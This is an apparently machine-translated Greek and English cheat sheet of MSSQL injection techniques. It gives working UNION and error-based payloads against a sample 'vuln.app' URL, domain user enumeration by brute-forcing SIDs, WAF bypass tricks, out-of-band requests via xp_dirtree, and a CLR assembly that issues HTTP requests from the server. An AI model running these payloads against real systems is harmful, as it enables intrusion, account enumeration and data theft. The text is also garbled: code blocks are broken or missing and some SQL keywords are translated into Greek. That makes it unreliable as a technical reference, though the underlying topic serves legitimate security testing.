Είναι δυνατόν να καταμετρήσετε τους χρήστες του τομέα μέσω SQL injection μέσα σε έναν MSSQL διακομιστή χρησιμοποιώντας τις παρακάτω MSSQL συναρτήσεις:
SELECT DEFAULT_DOMAIN(): Λάβετε το όνομα του τρέχοντος τομέα.
master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Εάν γνωρίζετε το όνομα του τομέα (DOMAIN σε αυτό το παράδειγμα) αυτή η συνάρτηση θα επιστρέψει το SID του χρήστη Administrator σε μορφή hex. Αυτό θα μοιάζει με 0x01050000000[...]0000f401, σημειώστε πώς τα τελευταία 4 bytes είναι ο αριθμός 500 σε big endian μορφή, που είναι το κοινό ID του χρήστη administrator.
Αυτή η συνάρτηση θα σας επιτρέψει να γνωρίζετε το ID του τομέα (όλα τα bytes εκτός από τα τελευταία 4).
SUSER_SNAME(0x01050000000[...]0000e803) : Αυτή η συνάρτηση θα επιστρέψει το όνομα χρήστη του υποδεικνυόμενου ID (αν υπάρχει), σε αυτή την περίπτωση 0000e803 σε big endian == 1000 (συνήθως αυτό είναι το ID του πρώτου κανονικού χρήστη που δημιουργήθηκε). Στη συνέχεια, μπορείτε να φανταστείτε ότι μπορείτε να κάνετε brute-force τα IDs χρηστών από 1000 έως 2000 και πιθανώς να αποκτήσετε όλα τα ονόματα χρηστών των χρηστών του τομέα. Για παράδειγμα, χρησιμοποιώντας μια συνάρτηση όπως η παρακάτω:
defget_sid(n):domain ='0x0105000000000005150000001c00d1bcd181f1492bdfc236'user = struct.pack('<I', int(n))user = user.hex()returnf"{domain}{user}"#if n=1000, get SID of the user with ID 1000
Εναλλακτικοί Σφάλματα-Βασισμένοι Δείκτες
Οι SQL injections που βασίζονται σε σφάλματα συνήθως μοιάζουν με κατασκευές όπως +AND+1=@@version-- και παραλλαγές που βασίζονται στον «OR» τελεστή. Τα ερωτήματα που περιέχουν τέτοιες εκφράσεις συνήθως αποκλείονται από τα WAFs. Ως παράκαμψη, συνδυάστε μια συμβολοσειρά χρησιμοποιώντας τον χαρακτήρα %2b με το αποτέλεσμα συγκεκριμένων κλήσεων συναρτήσεων που προκαλούν σφάλμα μετατροπής τύπου δεδομένων στα επιθυμητά δεδομένα.
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';# Or doingUsemaster;EXEC sp_helprotect 'fn_xe_file_target_read_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_get_audit_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree, xp_fileexists, xp_subdirs
Οι αποθηκευμένες διαδικασίες όπως το xp_dirtree, αν και δεν τεκμηριώνονται επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε λειτουργίες δικτύου εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα παραδείγματα και δημοσιεύσεις.
Η αποθηκευμένη διαδικασία xp_dirtree, για παράδειγμα, χρησιμοποιείται για να κάνει αιτήματα δικτύου, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από κοινές χρήσεις δικτύου. Η χρήση της αποδεικνύεται στο παρακάτω SQL script:
Είναι αξιοσημείωτο ότι αυτή η μέθοδος μπορεί να μην λειτουργεί σε όλες τις ρυθμίσεις συστήματος, όπως σε Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) που τρέχει σε Windows Server 2016 Datacenter με προεπιλεγμένες ρυθμίσεις.
Επιπλέον, υπάρχουν εναλλακτικές αποθηκευμένες διαδικασίες όπως master..xp_fileexist και xp_subdirs που μπορούν να επιτύχουν παρόμοια αποτελέσματα. Περαιτέρω λεπτομέρειες σχετικά με το xp_fileexist μπορούν να βρεθούν σε αυτό το TechNet άρθρο.
xp_cmdshell
Προφανώς μπορείτε επίσης να χρησιμοποιήσετε xp_cmdshell για να εκτελέσετε κάτι που ενεργοποιεί μια SSRF. Για περισσότερες πληροφορίες διαβάστε την σχετική ενότητα στη σελίδα:
Η δημιουργία μιας CLR UDF (Common Language Runtime User Defined Function), η οποία είναι κώδικας που έχει συγγραφεί σε οποιαδήποτε γλώσσα .NET και έχει μεταγλωττιστεί σε DLL, για να φορτωθεί μέσα στο MSSQL για την εκτέλεση προσαρμοσμένων συναρτήσεων, είναι μια διαδικασία που απαιτεί πρόσβαση dbo. Αυτό σημαίνει ότι είναι συνήθως εφικτό μόνο όταν η σύνδεση στη βάση δεδομένων γίνεται ως sa ή με ρόλο Διαχειριστή.
Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε αυτό το Github αποθετήριο για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL.
Η ουσία αυτής της λειτουργικότητας είναι ενσωματωμένη στο αρχείο http.cs, το οποίο χρησιμοποιεί την κλάση WebClient για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω:
usingSystem.Data.SqlTypes;usingSystem.Net;publicpartialclassUserDefinedFunctions{[Microsoft.SqlServer.Server.SqlFunction]publicstaticSqlStringhttp(SqlString url){var wc =newWebClient();var html =wc.DownloadString(url.Value);returnnewSqlString(html);}}
Πριν εκτελέσετε την εντολή SQL CREATE ASSEMBLY, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατό μέσω select * from sys.trusted_assemblies;):
Μετά την επιτυχία προσθήκης της βιβλιοθήκης και της δημιουργίας της συνάρτησης, ο παρακάτω SQL κώδικας μπορεί να χρησιμοποιηθεί για την εκτέλεση HTTP αιτημάτων:
Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας FOR JSON. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας FOR XML, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως το "raw". Η ρήτρα FOR JSON προτιμάται για την συντομία της.
Ορίστε πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από τη τρέχουσα βάση δεδομένων:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql```markdownhttps://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Non-standard whitespace characters: %C2%85 или %C2%A0:
```markdown
# MSSQL Injection
Η SQL Injection είναι μια τεχνική που επιτρέπει στους επιτιθέμενους να εκτελούν κακόβουλες SQL εντολές σε μια βάση δεδομένων. Στην περίπτωση του MSSQL, οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν διάφορες μεθόδους για να εκμεταλλευτούν τις ευπάθειες.
## Παράδειγμα
Ένα παράδειγμα MSSQL Injection είναι το εξής:
Αυτή η εντολή προσπαθεί να συνδυάσει τα αποτελέσματα από δύο ερωτήματα, επιτρέποντας στον επιτιθέμενο να αποκτήσει πληροφορίες σχετικά με την έκδοση του MSSQL.
Scientific (0e) and hex (0x) notation for obfuscating UNION:
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'α' SELECT 'β'
Can be reduced to:
```sql
```markdown
χρησιμοποιήστε[tempdb]δημιουργία/**/πίνακα[test]([id]int)εισαγωγή[test]τιμές(1)επιλογή[id]από[test]διαγραφή/**/πίνακα[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
Προσθήκη ενός άχρηστου exec() στο τέλος και κάνοντάς το WAF να νομίζει ότι αυτή δεν είναι έγκυρη ερώτηση